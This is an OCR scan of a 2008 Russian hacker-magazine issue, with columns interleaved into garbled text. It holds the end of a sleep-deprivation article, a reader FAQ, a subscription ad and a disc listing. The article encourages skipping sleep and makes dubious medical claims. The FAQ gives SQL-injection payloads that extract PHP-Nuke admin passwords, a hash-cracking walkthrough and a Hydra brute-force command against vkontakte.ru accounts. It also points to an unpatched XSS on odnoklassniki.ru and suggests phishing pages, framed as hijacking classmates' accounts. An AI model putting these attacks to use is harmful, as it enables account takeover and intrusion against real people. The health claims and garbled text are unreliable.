кучу противопоказаний и побочных действий!). друг друга: медленный и быстрый сон. Во время медленного сна
При частичной депривации продолжительность сна сокра- синтезируется соматотропный гормон, являющийся естест-
щается до ~4х часов — на протяжении от одной до трех недель венным ноотропом (он же СТГ, он же соматропин, он же growth
(а у некоторых недосыпание становится нормой жизни). По hormone). Этот гормон отвечает за рост, усиливает синтез белка,
утверждениям одних, частичная депривация переносится предотвращает отложение жира, повышает уровень глюкозы в
намного легче тотальной, другие считают, что все как раз на- крови, а также воздействует на центральную нервную систему (в
оборот — мол, возникают проблемы с засыпанием (приходится результате чего улучшается память, познавательные функ-

xàêåð 05 /113/ 08
149
>> units

Молекула growth-гормона

ции и поднимается настроение). Однако, при повышенной концентрации Во время быстрого сна происходит восстановление пластичности нейронов
соматропин вызывает депрессию. Средством, подавляющим его избыточную и обогащение их кислородом; биосинтез белков и РНК-нейронов — сон
выработку, как раз и является депривация сна. способствует переработке и хранению информации. Медленный сон
обеспечивает закрепление изученного материала, а быстрый — реализует
подсознательные модели ожидаемых событий (периодический закон и
формула бензола были открыты именно во сне).

Смена фаз Также сон восстанавливает иммунитет. Поэтому при депривации сна лучше
не брезговать медицинскими препаратами типа «иммунал» (благо, отпуска-
ется без рецептов). Депривация воздействует на память, и, по утверждению
Известно, что люди делятся на «жаворонков» и «сов», причем, про- многих источников, далеко не положительным образом. Основной удар де-
граммистам по роду своей деятельности часто приходится менять привация наносит по кратковременной памяти (действие которой наглядно
дневную фазу работы на ночную. Существует понятие «мягкой» и продемонстрировано в фильме «Memento»).
«жесткой» смены фаз. При жесткой смене человек, находящийся, Кратковременная память хранит информацию считанные секунды, но она
допустим, в ночной фазе, не спит всю ночь и весь последующий день, отвечает за обработку данных, познавательные функции, принятие реше-
выдвигаясь на топчан только с наступлением темноты и просыпаясь ний, логику и так называемую «эпизодическую память», отвечающую за
уже в дневной фазе, в результате чего продолжительность бодрство- запоминание эмоций и мелких несущественных деталей. Логическое мыш-
вания составляет ~24 часа (классический пример депривации). ление и усвояемость материала при депривации сна неизбежно снижают-
При мягкой смене фазы человек после пробуждения засыпает в ся, что существенно затрудняет подготовку к зачетам, экзаменам и прочим
«положенное» время, сокращая режим бодрствования до 6 часов. видам деятельности, требующим активности кратковременной памяти.
Считается, что мягкая смена фазы легче переносится организмом, но С другой стороны, депривация сна активизирует декларативную и мето-
на деле это всегда индивидуально. Для мягкой смены фаз характер- дическую память. Образно говоря, декларативная память — это большой
ны проблемы с засыпанием, обычно решаемые путем применения жесткий диск, на котором записаны все данные, накопленные нами и орга-
снотворного (в этих случаях официальная медицина рекомендует низованные по принципу ассоциативных массивов. Продолжая сравнения,
применять мелаксен, отпускаемый в аптеках без рецептов). Действи- методическая память — это программный код, обрабатывающий данные,
тельно, трудно взять и заснуть спустя всего лишь шесть часов после накопленные в декларативной памяти. При депривации сна человек
пробуждения. «Перестройка» организма на новую фазу в этом случае гораздо «охотнее» вспоминает то, что он когда-то знал, но потом «забыл», и
занимает намного больше времени, на протяжении которого чело- намного увереннее выполняет те операции, которым был заранее обучен.
век ощущает постоянную сонливость. Жесткая смена фаз, напротив, Нетворческая работа (тупое кодирование, решение стандартных задач) как
способствует раскрытию творческого потенциала, но это, опять- раз и относится к такому классу операций, и потому порой создается впе-
таки, зависит от человека. чатление, что депривация сна положительно сказывается на творческой
Существует еще и «плавающий» режим, практикуемый рядом фри- деятельности, но это не так.
лансеров и позволяющий выжать из суток максимум имеющегося Во время депривации способность «добывать» новые знания на основании
времени. Суть в том, что человек намеренно отказывается от привяз- старых (то есть логическое мышление) притупляется (голова «не варит»), но
ки своих внутренних биоритмов к суточному циклу и засыпает не по поскольку львиную долю времени мы решаем задачи, с которыми уже стал-
часам, а тогда, когда действительно хочет и выполнил все заплани- кивались ранее (даже если напрочь забыли об этом), депривация оказы-
рованные дела. При вхождении в плавающий режим продолжитель- вается неплохим подспорьем. Вместо того чтобы штудировать справочник
ность сна представляет собой константу Ts. Согласно закону веро- по высшей математике, вспоминая, как перемножить две матрицы, просто
ятности, в какой-то из дней текущей работы окажется больше, чем забей на сон, и декларативно-методическая память решит проблему!
вчера, и потому продолжительность бодрствования увеличится на Кроме того, депривация активизирует выработку гормона с труднопроизно-
Ta, следовательно, завтра мы проснемся не в момент X, а в (X — Ta). симым названием hypothalamic-pituitary-adrenal axis (сокращенно, HPA).
Поскольку система действует преимущественно в одном направле- Он управляет реакцией на стресс (вот почему при депривации значительно
нии (мало причин, по которым мы бы могли лечь спать раньше, но возрастает раздражительность) и другими функциями, такими как пищева-
вот отставание от графика и задержка сна — явление вполне нор- рение, иммунитет, сексуальное влечение. Он же управляет использованием
мальное), мы получаем следующее: час пробуждения X непрерывно энергии, запасенной нашим телом.
перемещается по циферблату, при этом происходит постоянная
смена фаз «жаворонок»/«сова». Основная проблема — приучить себя За гранью реальности или галлюцинации — даром!
засыпать на рассвете, особенно, когда восходящее солнце бьет прямо Теорий, объясняющих возникновение галлюцинаций (не только при деприва-
в глаза, насквозь простреливая даже плотные портьеры. ции, но и вообще), намного больше, чем одна. Поэтому придется ограничиться

150 xàêåð 05 /113/ 08


>> units

Побочные эффекты или час


расплаты
Первые опыты депривации обычно
проходят на ура. В утренние часы после
бессонной ночи отмечается улучшение
настроения, повышение креативности, info
Нейроны под «кайфом» отступление депрессии. Однако затем де- • Окончательная
пресняк возвращается (иногда вспыхивая обработка и закреп-
с большей силой), и единственное средст- ление информации
изложением «в общих чертах». В определенных областях мозга во борьбы с ним (за исключением приема антидепрессантов) происходят главным
(при резком повышении активности процессов) возникает что-то — повторный цикл депривации, проходящий уже куда более образом во сне,
вроде паразитной положительной обратной связи, вызываю- болезненно: с сонливостью, раздражительностью, снижением поэтому изучение
щей неконтролируемое самовозбуждение нейронной сети. концентрации внимания, достигающими пика в полночь и нового материала во
При депривации сна (угнетающей кратковременную память) перед восходом солнца (в 4-6 часов утра). время депривации
происходит потеря информации, получаемой от органов чувств. В это время важно занять себя чем-нибудь интересным, невозможно или неэф-
В качестве «компенсации» она замещается галлюцинациями, требующим умственной, а не физической активности. Учти, что фективно.
восстанавливая или сохраняя целостность образов в сознании. телевизор и книги (особенно, в стиле «Война и мир») сработа-
Если бодрствовать на протяжении 48 часов (или чуть меньше), ют как снотворное, поэтому заранее продумай план действий. • Депривация, подав-
есть шанс «словить» слуховые галлюцинации, чувство «кайфа» Продолжительная тотальная депривация (свыше 36 часов) на ляя кратковремен-
(усиленное эмоциональное восприятие), а также ощутить первых порах может вызывать ужасные отходняки (с такими ную память, лишает
прилив деятельной креативности. При бодрствовании на «радостями», как мышечная боль и психологическая ломка). нас возможности
протяжении 72 часов (и выше) начинаются яркие визуальные Отметим, что физический труд во время депривации не то, формировать даже
галлюцинации, появляется устойчивое чувство нереально- чтобы противопоказан, но силовая выносливость значительно простые логические
сти происходящего и видение мира, находящееся за гранью снижается. Очень быстро наступает утомляемость, с которой построения, следо-
понимания выспавшихся людей. Интересно, что при групповой трудно бороться. вательно, решение
депривации «иное» восприятие обычно разделяется всеми Значительное число исследований показывает, что хроническое нетривиальных задач
участниками. Чувство времени утрачивается почти полностью. недосыпание ведет к необратимым разрушениям головного требует значительных
Чаще всего время словно ускоряется, и за доли секунды в голо- мозга. Поэтому частичной депривацией лучше не злоупотреблять, усилий.
ве проносится мощный вихрь мыслей, на обдумывание которых а использовать полную депривацию, после которой давать себе
в нормальном состоянии ушел бы целый день. В зависимости от как следует отоспаться. Также имеются исследования, дока- • Депривация активи-
эмоционального состояния галлюцинации могут носить как по- зывающие, что депривация противопоказана людям, больным рует декларативную и
зитивный, так и негативный характер (например, лапша может сахарным диабетом или предрасположенным к этой болезни. процессуальную па-
превращаться в червей — только представь!). мять — мы вспомина-
При депривации реальность (из-за расстройства кратковре- Наука сна (заключение) ем все то, чему учили
менной памяти и микросна) искажается настолько, что можно Депривация сна намного более распространена, чем это может нас ранее.
брести по городу и представлять, что находишься в лесу или показаться на первый взгляд. С ней приходится сталкиваться в
дома за клавиатурой, что, естественно, создает прямую угрозу школе, в армии, в институте, на работе… Многие люди, привык-
для жизни. Так что после двух-трех суток бодрствования шие спать всего по несколько часов в сутки, абсолютно уверены,
лучше никуда без присмотра не выходить (не говоря уже о что это нормально. Опасное заблуждение! Хроническое недосы-
том, чтобы сесть за руль). Хотя известно много случаев, когда пание, продолжающееся годами, вызывает деградацию нервной
за счет улучшения работы моторной памяти люди правильно системы, что, в конечном счете, отнюдь не идет на пользу (осо-
находили дорогу (например, из института домой), совершая бенно людям, занятым интеллектуальной деятельностью).
такие «сложные» действия, как покупка билета и посадка в Положительный эффект дает только чередование «периодов
метро. Но все-таки лучше не рискуй, а то можешь проснуться воздержания от сна» с последующей «зимней спячкой», все
на Кольцевой в одних подштанниках. прочее — негативно влияет на организм. Кстати говоря, много
Галлюцинации обычно проходят после ночи здорового сна спать тоже вредно (и выше уже объяснялось, почему). Затяж-
(здорового — это значит без снотворных, единственным ис- ные депрессии, хандра, творческие кризисы не заставят себя
ключением из которых является мелаксен, его можно). ждать и попрут из окопов на амбразуры нашего сознания. z

xàêåð 05 /113/ 08
151
>> units

Степан «Step» Ильин Евгений «Corwin» Ермаков


/ [email protected] / / [email protected] /

FAQ U N I T E D

Задавая вопрос, подумай! Не стоит задавать откровенно ламерские вопросы,


ответ на которые ты при желании можешь найти и сам. Конкретизируй!
Мы не телепаты, поэтому присылай как можно больше информации.

Q: Провожу инъекцию, но на выходе ничего регистрацию пользователей, указан e-mail http://localhost/modules.php?op=


не получаю, хотя колонки 100% существуют. администратора. Поэтому делай запрос следу- modload&name=Messages&file=read
A: Видимо, требуется использование операто- ющего типа (названия колонок могут варьиро- pmsg&start=9999%20union%20select
ра LIMIT. Если первоначальный запрос выгля- ваться): 1,2,3,4,5,6,pn_pass,8+from+nuke_
дит примерно так: http://target/script. users where pn_uid=2/*
php?p=-1 union select 1,2,user,4 from http://localhost/modules.php?op=
users/*, то добавь limit и перебирай n: modload&name=Messages&file=read Q: Пытаюсь получить рут, используя экспло-
http://target/script.php?p=-1 union pmsg&start=9999%20union%20select иты, но ничего не выходит, хотя версия ядра
select 1,2,user,4 from users limit 1,2,3,4,5,6,pn_pass,8+from+nuke_ соответствует версии, указанной в сплоите.
n,1/*, где n — 0-9. users where pn_email='admin@ Единственное, что смущает — префикс
localhost.com'/* grsec.
Q: Не знаю логин админа и поэтому не могу A: Скорее всего, ядро 2.6.22.9‑grsec.
вытащить через SQL-injection его пароль. Также в PHP-Nuke админу обычно присваивает- Вообще, grsec — это патч для ядра, делающий
Сайт работает на PHP(Post)-Nuke. ся pn_uid=2 (pn_uid=1 присваивается гостям стек неисполняемым. Говоря иначе, эксплоиты
A: Как правило, в письме, подтверждающем (Anonymous)): тут не помогут.

152 xàêåð 05 /113/ 08


>> units

Q: Возможно ли в Java-программах перепол- A: Вероятнее всего скрипт посылает GET- и, в большинстве случаев, если с настройками,
нение буфера? запросы, которые режутся сервером. установленными у прова, повезет, — шифрует.
A: Нет. Верификатор байт-кодов (bytecode Используй скрипт для работы с MySQL/ В журнале уже писалось об ВПН, но для начала
verifier) сканирует байт-коды, извлекает MSSQL, посылающий POST-запросы, к советую заглянуть на Википедию и ознако-
информацию о типах объектов в каждой точке примеру, nsTview v3.1.Post (http://nst.void. миться с основами основ — http://ru.wikipedia.
выполнения фрагмента кода. Виртуальная ru/?q=releases&download=16). org/wiki/VPN.
машина Java предохраняет от выхода за границы 2) Настраиваем VPN-подключение на вирту-
выделенной памяти — происходит исключение, Q: Провожу SQL-инъекцию и пытаюсь альной машине VMWare, запускаем на рабочей
при этом внедренный код не будет выполнен. Не получить версию MySQL, но вместо этого системе сетевой снифер (к примеру, Ethereal),
может произойти переполнения или «исчер- появляется ошибка: «Illegal mix of collations подключаем виртуальную машину к VPN-сер-
пания» стека, параметры для инструкций байт- (latin1_swedish_ci,IMPLICIT) and (utf8_ веру, смотрим отснифаные пакеты.
машины имеют нужный тип, а доступ к полям и general_ci,SYSCONST) for operation ‘UNION’» 3) Поддержка двойного IP-адреса. Соеди-
методам объектов не нарушает объявленных в A: Делаем вывод в другой кодировке — вместо нение с VPN происходит через один сетевой
классе правил (public, private, protected). version() пишем convert(version() адрес, на выходе же мы получаем совершенно
using latin1). другой. Это сделано для того, чтобы у провай-
Q: Работаю в линухе, под рукой нет никакого дера не было никаких логов по нашему IP.
другого брутфорсера паролей кроме John Q: Существуют ли утилиты для переноса 4) Однозначного ответа нет, все опять-таки
the Ripper, но нужно взломать raw («сырой») кода, написанного на языке NASL, на другой зависит от датацентра. Но старожилы ВПН-
MD5. Возможно ли? язык программирования и наоборот? бизнеса, как правило, поднимают сервера в
A: Заходим на главную страницу сайта JtR A: Для непосвященных: NASL (Nessus Attack Голландии и Штатах.
(http://openwall.com/john) и смотрим допол- Scripting Language — язык сценариев Nessus)
нения к Джону, среди которых находим и под­ — это скриптовый язык для написания сцена- Q: Иногда встречается термин «fuzzing,
держку raw MD5. Дело за малым — наструячить риев для сканера Nessus. На данный момент не фазеры». Что это такое?
команды в консоли. Для новичков распишем существует программ для перевода NASL-сце- A: Фаззинг — это методика, основанная на
все команды, начиная с установки JtR. Поехали: нариев на другие языки и перевода, к примеру, проверке того, как приложение справляется
Perl-скриптов, на язык NASL. с обработкой широкого диапазона случайных
mkdir john данных, заведомо составленных так, чтобы
cd john Q: Хочу впервые воспользоваться VPN-сер- довести программу до сбоя. Примером фаззера
wget http://www.openwall.com/john/ висом. Появилось несколько вопросов: может быть библиотека для Linux(and Solaris)
f/john-1.7.2.tar.bz2 1) Когда юзаешь ВПН, никто не узнает, что ты — sharefuzz, предназначенная для тестиро-
tar -xvf john-1.7.2.tar делаешь в Сети, правильно? вания типичных вариантов переполнения
cd john-1.7.2 2) Как для уверенности просмотреть, какой локальных буферов в setuid.
wget ftp://ftp.openwall.com/ трафик (шифрованный/не шифрованный) Из windows-фазеров можно отметить OWASP
pub/projects/john/contrib/john- проходит между моим ПК и ВПН-сервером? JBroFuzz — фаззер уязвимостей, работает с
1.7.2‑all-9.diff.gz 3) Что за технология Double VPN? HTTP, SOAP, XML, LDAP протоколами. Позво-
gzip -d john-1.7.2‑all-9.diff.gz 4) Если я сам захочу поднять ВПН-сервис, ляет выявить XSS, SQL-injection, переполне-
patch -p1 < john-1.7.2‑all-9.diff.gz то на серверах какой страны это наиболее ния буфера, FSE и многие другие уязвимости
cd src безопасно? крайне нестандартными методами.
make A: 1) Если кому-то очень сильно понадобится, На проекте Google Code можно найти еще фаз-
make clean linux-x86‑any то узнают все и обо всем. Объясняю на пальцах. зеры. К примеру, Bunny the Fuzzer (http://code.
Провайдер будет знать, что ты подключен к google.com/p/bunny-the-fuzzer) — фаззер про-
Пускаем утилиту с указанием формата и файла ВПН, так как, естественно, в цепочке соедине- грамм, написанных на C. Работает под Linux,
с хэшами: ний «тыконечный_серверпров» провайдер FreeBSD, OpenBSD, и Cygwin.
стоит раньше VPN. Ты подключаешься к его
./john -format=raw-MD5 /home/ шлюзу, далее к VPN-шлюзу и, наконец, к конеч- Q: В «пособиях» по фрикингу авторы исполь-
corwin/md5_hashes.txt. ному серверу. Также не стоит забывать про то, зуют так называемые Red box, Black box и
что на ВПНе вполне могут вестись логи. Blue box. Для чего они предназначены и что
Q: На поломанном сервере нашел конфиг для И еще, хочется развеять миф, что, якобы, делают?
подключения к базе данных, залил скрипт предоставляемые провайдером VPN’ы не A: Использование этих устройств сейчас
для работы с СУБД, но подключиться никак шифруют трафик и вообще бесполезны. На достаточно сомнительно, ввиду сегодняшних
не получается. самом деле ВПН провайдера шифровать может тарифов, но все-таки, по порядку.

xàêåð 05 /113/ 08
153
>> units

Red box — проигрывает тоны систем автомати- при авторизации и составляем (к примеру, для но» — каждому юзеру можно выдать свой уровень
ческого контроля оплаты в микрофон таксофо- вконтакте.ру) готовый запрос для брута (запус- доступа к принтерам, вертушкам, флопикам и
на, тем самым обманывая систему и делая вид, каем через командную строку/оболочку): любому другому железу на компах в сети (и в том
что мы кинули монеты в таксофон. Вуаля, мы числе — к флешкам). Помимо этого присутствует
можем позвонить бесплатно :). hydra -l useremail%40domainzone замечательная опция, которая придется по вкусу
Black box является резистором, который поме- -P passlist.txt vkontakte. всем любителям жесткого мониторинга — софт
щают в телефонную розетку нашей телефонной ru http-post-form "/login.php: умеет сохранять любую инфу, что была скачана
линии. Он создает иллюзию, что при получении email=^USER^&pass=^PASS^:Target" с девайсов системы или же туда залита. Теперь
вызова мы не взяли трубку и не ответили. Счет никто из работничков не унесет секретные доки
за звонок не придет. passlist.txt — файл с паролями, из офиса. Впрочем, не так уж и сложно отключить
Blue box использует тон в 2600 hz для уп- useremail%40domainzone — email поль- для пользователя системы приводы CD-ROM,
равления телефонными переключателями, зователя, которого надо взломать. Например, Floppy, USB Removable средствами самой винды.
использующими полосу передачи сигнала. admin%40vkontakte.ru :). Достаточно воспользоваться специальной груп-
Таким образом, мы можем обратиться к одной Подобный запрос можно составить для любого повой политикой в Active Directory, установив в
из функций переключателя для установления сервиса, того же одноклассники.ру, сокамер- систему правильный шаблон. Подробности этого
телефонной связи. ники.ру и т.п. приема ты можешь прочитать здесь: www.petri.
Также не стоит забывать про возможность co.il/disable_usb_disks_with_gpo.htm
Q: Как перенести почту с локального компью- создания фейк-страницы с формой авториза-
тере на свой Gmail-аккаунт? ции, которую нужно под каким-либо предлогом Q: Хочу предоставить пользователям своего
A: Если в качестве клиента ты использу- подсунуть юзеру. сайта (небольшая социальная сеть) возмож-
ешь Microsoft Outlook, Outlook Express или P.S. Ищи на диске перловый брутфорсер для ность выкладывать видеоролики с опцией
Thunderbird, то идеально подойдет специаль- «вконтакте». просмотра через сеть. При этом не исполь-
ная утилита Google Email Uploader (https:// зовать API каких-то видеохостингов (вроде
mail.google.com/mail/help/email_uploader. Q: Каким запросом сдампить MySQL-базу, YouTube), а реализовать все исключительно
html). К сожалению, для пользователей The зная имя пользователя и пароль? своими силами. Не писать же видеопроигры-
Bat! пока ничего подобного не придумали. A: bin/mysqldump --user={username} ватель на Flash с нуля?
Может, попробуешь сам? :) --password={pass} --databases A: Правильно мыслишь! Прежде чем что-то
{dbname} > /home/corwin/dump.sql начинать писать, нужно обязательно прове-
Q: Все-таки, реально ли сейчас взломать рить: не сделал ли кто-нибудь это за тебя? В
социальные интернет сети? Итак, {username} меняем на имя пользова- твоем случае идеально подойдет Flowplayer
A: В текущем месяце, эта тема, пожалуй, одна теля, {pass}, соответственно, на его пароль, (www.flowplayer.org) — открытый медиаплеер,
из самых актуальных. Каждый хочет поиметь а в {dbname} указываем имя базы данных, написанный на флеш. С его помощью прямо на
аккаунт своего одногруппника/одноклассника которую требуется сдампить, и в конце — путь своей странице можно воспроизводить самые
и т.п. Не так давно на сайте odnoklassniki.ru для сдампленной БД. разные форматы: FLV, SWF, MP3, MP4, H.264.
была найдена активная xss (на момент написа- FlowPlayer имеет массу конфигурируемых
ния фака уязвимость не была закрыта). Тыкать Q: Как запретить доступ к USB флешкам в настроек, при этом пользователь во время
пальцем, где она находится, не буду, так как ис- винде? просмотра может перейти к любому фрагменту,
кать особо не придется (или смотри информа- A: Есть два варианта: с использованием допол- так же, как это реализовано на YouTube.
цию на форуме античата). На «вконтакте» также нительных средств и без них. Причем, первый
существует возможность внедрения кода. будет работать во всех NT-системах, а второй Q: Система постоянно стала зависать, выдавая
Самым очевидным является метод брутфор- — исключительно под управлением Windows синий экран смерти. Чует мое сердце, все про-
синга. Берем один из самых популярных Server 2003/2008. Дополнительным средством блемы из-за нового модуля памяти, который я
брутфорсеров Hydra (http://freeworld.thc.org/ является утилита DeviceLock (www.devicelock. недавно прикупил. Как бы его проверить?
thc-hydra), смотрим передаваемые параметры com), которая справляется с работой на «отлич- A: Во-первых, тебе нужна Memtest86 — бес-

154 xàêåð 05 /113/ 08


>> units

платная программа от Криса Брэди (Chris Brady), которая диагностирует


проблемы памяти. Утилита очень кропотливо (и жутко долго) будет
сканировать твою память и, в конце концов, выдаст подробный отчет.
Есть и похожая программа от Microsoft под названием Windows Memory
Diagnostic.
Обе рекомендуется запускать со съемного носителя. Неплохо также
«прогнать тесты» S&M (http://testmem.nm.ru/snm.htm) — специальной
утилиты для тестирования компонентов компьютера под максималь-
ной нагрузкой. Изначально она была разработана для тестирования и
поиска ошибок в работе процессора и оперативной памяти, проверки
стабильности работы элементов питания материнской платы и эффек-
тивности системы охлаждения. Но позже в ней появилась проверка
блока питания под сильной нагрузкой на основные компоненты системы
(в том числе, видеокарты), а в последней версии добавился еще и тест
жестких дисков.

Q: Что такое WebDAV и для чего он нужен?


A: Web-based Distributed Authoring and Versioning или WebDAV — это на-
бор расширений для традиционного Hypertext Transfer Protocol (HTTP),
позволяющий пользователям совместно работать и манипулировать
файлами на удаленных WWW серверах. По сути, это реальная и намного
более функциональная альтернатива для уже порядком устаревших
FTP и SMB. Вот лишь некоторые возможности, которые предоставляет
протокол:
• выполнение основных файловых операций над объектами на удален-
ном сервере;
• выполнение расширенных файловых операций (блокировки, под-
держка версий);
• работа с любым типом объектов (не только файлы);
• поддержка метаданных (свойств) объектов;
• поддержка одновременной работы над объектами.
К счастью, даже в самой винде клиент для работы с WebDAV встроен по
умолчанию. Для подключения каталога публикации WebDAV в опера-
ционной системе Windows 2000 (и старше) надо выполнить следующие
действия: перейти в «Сетевое окружение  Новое место в сетевом
окружении  ввести URL-адрес и имя каталога WebDAV».
Готово. Если своего сервера с поддержкой WebDAV у тебя нет,
то возможности клиента можно проверить, воспользовавшись
услугами сайта http://test.webdav.org/. С другой стороны, можно
сразу поднять поддержку этого протокола на своем http-демоне, устано-
вив для Apache специальный модуль — mod_dav. Кстати сказать, он
уже пять лет входит в десятку самых популярных модулей сервера
Apache, хотя в России почему-то технологию по-прежнему используют
немногие. z

xàêåð 05 /113/ 08
155
+

годоВая подписка по цене

1980 руб. (на 15% дешевле чем


при покупке в розницу)

Единая цена по всей России. Доставка за счет издателя, в том числе курьером
по Москве в пределах МКАД

Внимание! Второе спецпредложение!


При подписке на комплект журналов
у
ЖЕЛЕЗО DVD + ХАКЕР DVD + IT СПЕЦ CD: т америк
стр. 86

разоряю
ие трояны
в
г а н о
х у л и

банковск
р н ы х p.ru
ь ю т е
а л о т к о м п ww w.x ake
ж у р н

- Один номер всего за 147 рублей ЖУРНАЛ ДЛЯ


IT-ПРОФЕСС
ИОНАЛОВ
май 2008

#05

(на 25% дешевле, чем в розницу)


200 8
04 (112 )
апр ель
по праданны вилам
Игра дочит ми с помощ
ью XML

м
ВыживаеOD
ь обмен
Как упоря

стр. 70

пос ле BS собы
Преим
ление фрил
Управ
ест
ущансер ва офиса
ами

новые спо
борьбы м
стр. 58

с голубы жны
экраном
и
у ОСатакненаде
Почемхакер
смерт Тенденции
ских
стр. 32
стр. 94

ÇÀ 12 ÌÅÑЯÖÅ 5292 ²« ¡®
¥ ¡ ¬½®
Безопасно
станций и раз
ов, рабочи
сть серверени
гранич е
х
доступа

ЗАЩИТАА
¼ª ³¦
² ³: ²­

ðóá
¯§¦
Ще лкаю ³ ¬© D
вкусное в мыле за бабло! DR3 °

КОРПОР
ем
аем ¯¢¦¥
рюки oth
трю печенье ные ела
дел
д ческий ©³½
с Bluetoие небезопас автомати £ ®¦±
рецепты о на кликер ¡£®¯
недетског аке
хак ерс кие
рск сессии е ­ ¢¯
хитрости проект mail. на C# ¿? ²
пох удания

ТИВНОЙТ
ания «ответы@ ³±.38
ь
как урезаттивы использов стр. 118

65
зуба»
дистрибуь «синего ru»
об т
то че

лат
от

стр. 74
и сде 46 #05 |51
ор

ения
стр.
ен от

| ­¡
прилож £ §´ ª 2008
ум й

СЕТИ О
ым
ок и

портируем
й д ск

ÎÏÃÏÒÓÉ ±®¡¬
¦:
ны е

ÓÆÒ ÓÜ , ÏÂÈÏÑÜ,
он тич

´²³±
113

¯ª
стр. 36 £ ®¯­¦ ²³£ , ÐÏÍÏ
р.
ек ли

ст

±¦ É ÒÏÃÆ ÚÝ
Эл на
тр

ÓÜ
А

УГРОЗ
Ïî

äð
îá
í îñ
òè íà ñòð. 57

032-0
¯¥©® 52
NVIDI °±¯³©£ £²
ÓÏÌÐÜA 9600GT ÐÑ ¦¶
ATI/A
ADSL MD RaÏÓÉÃ
cÁÍÜ + WI-FI deon

3060
ÑÏÔÓÆÑÆ ÐÏÐÔÌàÑÎ
Ü ÅÌà ÜÆ
«©®¯ ÅÏÍÁ
ËÏÍÐÁ˱¦£¯¬¿·©
ÓÎÜÆ À
ÐÑÏÆËÓ
ÏÑÜ

ÇÀ 6 ÌÅÑЯÖÅÂ
ðóá ³±¦³½
¦
°¯«¯
¬¦®©
¦
±ÁÈÄÏÎ
­ÏÅÅÉ AM
¨ÃÆÈÅÎÎÄ °ÑD Hybrid Cr
ÜÆ ÇÆÌÏÆËÓ “D ossFire
ÆÈËÉ Inark Side “
tel Over
Drive

DVD ÃË
ÏÍÐÌÆË
ÓÆ
ВЫГОДА ГАРАНТИЯ СЕРВИС

Как оформить заказ Внимание!


1. Разборчиво заполните подписной купон и квитанцию, выре- Подписка оформляется в день обработки
зав их из журнала, сделав ксерокопию или распечатав с купона и квитанции в редакции:
сайта www.glc.ru. в течение пяти рабочих дней после отправки подписных доку-
2. Оплатите подписку через Сбербанк . ментов в редакцию по факсу или электронной почте;
3. Вышлите в редакцию копию подписных документов — купо- в течение 20 рабочих дней после отправки подпис
на и квитанции — любым из нижеперечисленных способов: ных документов по почтовому адресу редакции.
по электронной почте [email protected]; Рекомендуем использовать факс или электронную почту, в
по факсу 8 (495) 780-88-24; последнем случае предварительно отсканировав или сфотогра-
по адресу 119021, Москва, фировав документы.
ул. Тимура Фрунзе, д. 11, стр. 44, Подписка оформляется с номера, выходящего через один
ООО «Гейм Лэнд», отдел подписки. календарный месяц после оплаты. Например, если вы произ-
водите оплату в ноябре, то журнал будете получать с января.

Подписка на журнал «ХАКЕР+DVD» на 6 месяцев стоит 1080 руб. Подарочные журналы при этом не высылаются
По всем вопросам, связанным с подпиской, звоните по бесплатным телефонам 8(495)780-88-29 (для москвичей)
и 8(800)200-3-999 (для жителей других регионов России, абонентов сетей МТС, БиЛайн и Мегафон). Вопросы
о подписке можно также направлять по адресу [email protected] или прояснить на сайте www.GLC.ru
ПОДПИСНОЙ КУПОН
ÏÐÎØÓ ÎÔÎÐÌÈÒÜ ÏÎÄÏÈÑÊÓ ÍÀ ÆÓÐÍÀË «ХАКЕР»
>>WINDOWS >Multimedia Blender 2.45 Openvpn 2.1_rc7 Все операторы на одной SIM-карте стр. 116
>Dailysoft Adobe Photoshop Lightroom 2.0 Beta Enlightenment 0.16.8.12 Postfix 2.5.1
7-Zip 4.57 AIMP 2.50b Gmpc 0.15.5.0 Postgresql 8.3.1 ж у р н а л о т к о М п ь ю т е р н ы х х у л и г а н о в
Comodo Firewall Version 3.0 Artweaver 0.5.1 Ksquirrel 0.8.0 Samba 3.0.28a
DAEMON Tools Lite 4.12.3 Blender for Windows 2.46 RC3 Mpg123 1.4.2 Sendmail 8.14.2 www.xakep.ru
Download Master 5.5.3.1131 DeskScapes 1.02 Openoffice 2.4.0 pro Snort 2.8.1
FarPowerPack 1.15 doPDF 6.0.259 Qlabels 0.2 Sqlite 3.5.8
FileZilla Client 3.0.9.2 Easy CD-DA Extractor 11.5.2 Squid 3.0STABLE4
IrfanView 4.10 Google Earth for Windows 4.3B >Devel Vsftpd 2.0.6
K-Lite Mega Codec Pack 3.9.0 Jing Binutils 2.18
Miranda IM 0.7.5 Keyboard Music 2.4 Boost 1.35.0 >System
mIRC 6.31 Pixelformer 0.8.1 Ccache 2.4 Alsa-driver 1.0.16
Mozilla Firefox 2.0.0.14 ProgDVB 5.14.4 Fucc 0.2 Ati 8.4
Notepad++ 4.9.1 STDU Viewer 1.4 Gcc 4.3.0 BSD Ports Май 05 (113) 2008
Opera 9.27 StyleBuilder 2.0 Beta Nasm 2.02 Dosemu 1.4.0
PuTTY 0.60 WinWatermark 2.5 Python 2.5.2 Iat 0.1.3
QIP 2005 8050 Qt 4.3.4 Linux 2.6.25
Skype 3.8.0 >Net Scons 0.98.1 Nerolinux 3.5.0.1
Total Commander 7.03 A1 Website Download 1.3.2 Seed7 20080406 Nvidia 169.12 На что
Unlocker 1.8.7 Avant Browser 11.6 Peazip 2.0
Winamp Media Player 5.53 Deluge 0.5.9.0 >Games Powertop 1.9
Xakep CD DataSaver 5.2 digsby Allacrost 0.2.1 Tea 17.6.0 способна
Gogrok 1.0 Bzflag 2.0.10 Tracker 0.6.6
>Development Google Talk Labs Edition Lbreakout2 2.6beta-7
Axure RP Pro 5.0 IM-History Client Suite 1.2.4 Lincity-ng 1.91beta >X-Distrib
CodeVeil 1.3 ooVoo 1.5.1.97 Warzone2100 2.1beta2 Ubuntu 8.04
Construct 0.94.3 SecureCRT 6.0.2
твоя
DeployLX 3.1 Serv-U 7.0.0.4 >Net >Visualhack++
FreeBASIC 0.18.5b ShareAlarmPro 2.0.3 Cgmail 0.5 В сердце Agnitum.com
Google App Engine SDK 1.0 B Skype for Windows 3.8.0 Claws-mail 3.4.0 Властелин лоадеров
web-камера
7 чуМовых
Javascript Obfuscator 3.0.5 StrongDC++ 2.12 Dspam 3.8.0 Обход циклов
NetBeans IDE 6.1 Xfire 1.91 Empathy 0.22.1 Парольный беспредел в Oracle
рецептов
PECompact 2.80 beta 1 YoutubeGet 4.4 Fetchmail 6.3.8 Плацдарм для опытов использования
